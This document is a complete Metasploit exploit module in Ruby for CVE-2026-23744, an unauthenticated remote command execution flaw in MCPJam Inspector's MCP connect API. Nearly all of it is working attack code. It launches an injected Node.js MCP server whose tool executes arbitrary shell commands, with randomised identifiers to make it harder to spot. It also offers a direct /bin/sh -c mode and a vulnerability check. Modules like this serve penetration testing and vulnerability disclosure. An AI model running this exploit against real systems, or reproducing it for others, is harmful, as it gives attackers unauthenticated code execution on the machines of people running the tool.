MCPJam Inspector Connect API Command Execution

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MCPJam Inspector Connect API Command Execution',
        'Description' => %q{
          This module exploits an unauthenticated command execution vulnerability in
          MCPJam Inspector. The /api/mcp/connect endpoint accepts a JSON serverConfig
          object containing a command and argument list used to start an MCP server.
          A remote attacker can abuse this endpoint to execute arbitrary operating
          system commands as the user running MCPJam Inspector.

          By default, this module starts a transient Node.js stdio MCP server, then
          invokes a tool that executes the Metasploit command payload. A direct
          /bin/sh -c mode is also available via EXEC_METHOD=direct_sh, but the MCP
          tool mode is more reliable when the inspector expects a valid MCP
          handshake.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Louay-075', # PoC author
          'earthenvessel' # Metasploit module
        ],
        'References' => [
          ['CVE', '2026-23744'],
          ['URL', 'https://github.com/mcpjam/inspector'],
          ['URL', 'https://packetinside.github.io/cves/cve-2026-23744/']
        ],
        'DisclosureDate' => '2026-01-16',
        'Payload' => {
          'Space' => 8192,
          'DisableNops' => true
        },
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'WGET'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path for MCPJam Inspector', '/']),
        OptString.new('SERVER_ID', [true, 'Server ID to use for the transient MCP connection', random_server_id]),
        OptEnum.new('EXEC_METHOD', [true, 'Command dispatch method', 'mcp_tool', ['mcp_tool', 'direct_sh']]),
        OptBool.new('FETCH_OUTPUT', [true, 'Fetch command output from the MCP tool response', false])
      ]
    )
  end

  def base_path
    normalize_uri(target_uri.path)
  end

  def connect_path
    normalize_uri(base_path, 'api', 'mcp', 'connect')
  end

  def tools_execute_path
    normalize_uri(base_path, 'api', 'mcp', 'tools', 'execute')
  end

  def delete_server_path(id)
    normalize_uri(base_path, 'api', 'mcp', 'servers', id)
  end

  def random_server_id(prefix = 'msf')
    "#{prefix}-#{Rex::Text.rand_text_alphanumeric(8)}"
  end

  def mcp_tool_names
    names = {}
    %i[
      readline fetch_default send_response response line message error child_process arguments command fetch_output
      exec_error stdout stderr child tool_name command_key fetch_output_key
    ].each do |name|
      random_name = "_#{Rex::Text.rand_text_alpha_lower(8)}"
      random_name = "_#{Rex::Text.rand_text_alpha_lower(8)}" while names.value?(random_name)
      names[name] = random_name
    end

    names
  end

  def post_connect(config, id:, timeout: 20)
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => connect_path,
        'ctype' => 'application/json',
        'data' => {
          'serverId' => id,
          'serverConfig' => config
        }.to_json
      },
      timeout
    )
  end

  def mcp_tool_payload(names, fetch_output: false)
    fetch_output_literal = fetch_output ? 'true' : 'false'

    %{
const #{names[:readline]}=require('readline').createInterface({input:process.stdin});
const #{names[:fetch_default]}=#{fetch_output_literal};
function #{names[:send_response]}(#{names[:response]}){process.stdout.write(JSON.stringify(#{names[:response]})+'\\n')}
#{names[:readline]}.on('line',function(#{names[:line]}){
  let #{names[:message]}; try{#{names[:message]}=JSON.parse(#{names[:line]})}catch(#{names[:error]}){return}
  if(#{names[:message]}.method==='initialize'){
    #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{protocolVersion:'2024-11-05',capabilities:{tools:{}},serverInfo:{name:'svc',version:'1.0.0'}}});
  } else if(#{names[:message]}.method==='notifications/initialized'){
  } else if(#{names[:message]}.method==='tools/list'){
    #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{tools:[{name:'#{names[:tool_name]}',description:'run command',inputSchema:{type:'object',properties:{#{names[:command_key]}:{type:'string'},#{names[:fetch_output_key]}:{type:'boolean'}},required:['#{names[:command_key]}']}}]}});
  } else if(#{names[:message]}.method==='tools/call'){
    const #{names[:child_process]}=require('child_process');
    const #{names[:arguments]}=(#{names[:message]}.params&&#{names[:message]}.params.arguments)||{};
    const #{names[:command]}=#{names[:arguments]}['#{names[:command_key]}']||'id';
    const #{names[:fetch_output]}=#{names[:arguments]}['#{names[:fetch_output_key]}']===undefined?#{names[:fetch_default]}:!!#{names[:arguments]}['#{names[:fetch_output_key]}'];
    if(#{names[:fetch_output]}){
      #{names[:child_process]}.exec(#{names[:command]},{timeout:30000},function(#{names[:exec_error]},#{names[:stdout]},#{names[:stderr]}){
        #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:(#{names[:stdout]}||'')+(#{names[:stderr]}||'')+(#{names[:exec_error]}?String(#{names[:exec_error]}):'')}],isError:!!#{names[:exec_error]}}});
      });
    } else {
      const #{names[:child]}=#{names[:child_process]}.spawn('/bin/sh',['-c',#{names[:command]}],{detached:true,stdio:'ignore'});
      #{names[:child]}.unref();
      #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:'Command dispatched'}],isError:false}});
    }
  } else if(#{names[:message]}.id!==undefined){
    #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{}});
  }
});
    }.strip
  end

  def start_mcp_tool_server(id, names, fetch_output: datastore['FETCH_OUTPUT'])
    print_status("Starting transient Node.js MCP command server as server ID #{id}")

    post_connect(
      {
        'command' => 'node',
        'args' => ['-e', mcp_tool_payload(names, fetch_output: fetch_output)]
      },
      id: id,
      timeout: 20
    )
  end

  def execute_mcp_tool(id, cmd, names, fetch_output: datastore['FETCH_OUTPUT'])
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => tools_execute_path,
        'ctype' => 'application/json',
        'data' => {
          'serverId' => id,
          'toolName' => names[:tool_name],
          'parameters' => {
            names[:command_key] => cmd,
            names[:fetch_output_key] => fetch_output
          }
        }.to_json
      },
      35
    )
  end

  def cleanup_mcp_server(id)
    send_request_cgi('method' => 'DELETE', 'uri' => delete_server_path(id)) if id
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => base_path
    )

    return CheckCode::Unknown('No response from the target') unless res

    unless res.code == 200 && res.body&.include?('MCPJam Inspector')
      return CheckCode::Safe('The target does not appear to be MCPJam Inspector')
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => connect_path,
      'ctype' => 'application/json',
      'data' => { 'serverId' => random_server_id('check') }.to_json
    )

    return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint could not be verified') unless res

    json = res.get_json_document
    auth_text = [
      json['error'],
      json['message'],
      json['hint']
    ].compact.join(' ')
    if [401, 403].include?(res.code) && auth_text.match?(/unauthorized|session token|required|X-MCP-Session-Auth/i)
      return CheckCode::Safe('MCPJam Inspector requires session-token authentication for the connect endpoint')
    end

    unless res.code == 400 && json['error'].to_s.include?('serverConfig is required')
      return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint response was unexpected')
    end

    id = random_server_id('check')
    marker = Rex::Text.rand_text_alphanumeric(12)
    names = mcp_tool_names
    res = start_mcp_tool_server(id, names, fetch_output: true)
    unless res&.code == 200
      return CheckCode::Detected('MCPJam Inspector connect endpoint is reachable, but command execution could not be confirmed')
    end

    res = execute_mcp_tool(id, "printf #{marker}", names, fetch_output: true)
    return CheckCode::Detected('MCPJam Inspector command execution could not be confirmed') unless res&.code == 200

    output = res.get_json_document.dig('result', 'content', 0, 'text').to_s
    if output.include?(marker)
      return CheckCode::Vulnerable('MCPJam Inspector executed a benign command through the unauthenticated connect endpoint')
    end

    CheckCode::Detected('MCPJam Inspector command execution response did not contain the expected marker')
  rescue JSON::ParserError
    CheckCode::Detected('MCPJam Inspector was detected, but an endpoint returned invalid JSON')
  rescue StandardError => e
    CheckCode::Unknown("Unable to complete check: #{e.class}: #{e.message}")
  ensure
    cleanup_mcp_server(id) if id
  end

  def execute_direct_sh(cmd, id)
    print_status("Sending direct /bin/sh command via MCPJam connect endpoint as server ID #{id}")

    res = post_connect(
      {
        'command' => '/bin/sh',
        'args' => ['-c', cmd]
      },
      id: id,
      timeout: 20
    )

    if res.nil?
      print_status('No HTTP response received after command dispatch')
      return
    end

    case res.code
    when 200
      print_good('Command dispatched and the target returned success')
    when 500
      print_status("Command dispatched; target returned #{res.code} #{res.message}, which is expected for non-MCP payloads")
    else
      print_warning("Unexpected response after command dispatch: HTTP #{res.code} #{res.message}")
      vprint_line(res.body.to_s)
    end
  end

  def execute_via_mcp_tool(cmd, id)
    names = mcp_tool_names
    res = start_mcp_tool_server(id, names)

    fail_with(Failure::Unreachable, 'No HTTP response received while starting MCP command server') unless res
    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Failed to start MCP command server: HTTP #{res.code} #{res.message} #{res.body}")
    end

    print_good('MCP command server connected')
    print_status('Executing payload through MCP tools/execute')

    res = execute_mcp_tool(id, cmd, names)

    if res.nil?
      print_status('No HTTP response received after tool execution')
      return
    end

    unless res.code == 200
      print_warning("Unexpected tools/execute response: HTTP #{res.code} #{res.message}")
      vprint_line(res.body.to_s)
      return
    end

    result = res.get_json_document
    text = result.dig('result', 'content', 0, 'text').to_s
    if datastore['FETCH_OUTPUT']
      print_status("Command result: #{text.strip}") unless text.empty?
    else
      vprint_status("MCP tool response: #{text.strip}") unless text.empty?
    end
  rescue JSON::ParserError
    print_warning('Tools/execute returned non-JSON output')
  ensure
    cleanup_mcp_server(id)
  end

  def execute_command(cmd, _opts = {})
    id = datastore['SERVER_ID']

    if datastore['EXEC_METHOD'] == 'direct_sh'
      execute_direct_sh(cmd, id)
    else
      execute_via_mcp_tool(cmd, id)
    end
  end

  def exploit
    execute_command(payload.encoded)
  end
end